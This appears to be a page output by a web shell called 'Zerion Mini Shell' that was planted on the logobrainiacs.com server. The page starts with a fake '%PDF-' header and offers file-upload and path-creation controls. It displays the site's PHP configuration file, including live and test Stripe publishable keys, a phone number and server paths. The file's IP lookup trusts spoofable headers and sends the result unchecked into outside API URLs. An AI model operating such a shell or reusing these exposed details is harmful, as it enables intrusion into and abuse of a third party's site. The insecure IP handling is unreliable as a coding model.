%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/logobrainiacs.com/inc/
Upload File :
Create Path :
Current File : /home/eirtvhdf/logobrainiacs.com/inc/vars.php

<?php
$whitelist = array(
    '127.0.0.1',
    '::1'
);
if(!in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
//    echo 'live';
    $serverName = 'https://logobrainiacs.com/';
    $datakey="pk_live_51IbWSMKtzbyY7UD0TlUNEGCKyTsdvXcVmeEdWiNkrLAwJp7EfqhpsqxAJK12G9saT37op8kJnt8vWQsZKtY0z9SH00fvr9WAcm";
//   $datakey="pk_test_9qPOGR5U7QExv2xLdetvgkip";
} else {
//    echo 'local';
    $serverName = "http://localhost/personal/eirfotech/";
    // $serverName = "http://localhost:8080/eirlogo/";
//$serverName = "http://localhost:81/eirlogo/";
//$serverName = "http://localhost/eirlogo/";
//$serverName = "https://eirlogo.com/testbeta/";
    $datakey="pk_test_9qPOGR5U7QExv2xLdetvgkip";
}

$dataname="Logo Brainiacs";
$dataimage="https://logobrainiacs.com/favicon.png";

$phoneNum='+1 (650) 447-2271';
$cname = 'Logo Brainiacs';



    function getIPAddress() {  
    //whether ip is from the share internet  
     if(!empty($_SERVER['HTTP_CLIENT_IP'])) {  
                $ip = $_SERVER['HTTP_CLIENT_IP'];  
        }  
    //whether ip is from the proxy  
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  
     }  
//whether ip is from the remote address  
    else{  
             $ip = $_SERVER['REMOTE_ADDR'];  
     }  
     return $ip;  
}  
$ip = getIPAddress();  

$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
$ipdat2 = file_get_contents("https://ipapi.co/".$ip."/country_calling_code/");

?>



Zerion Mini Shell 1.0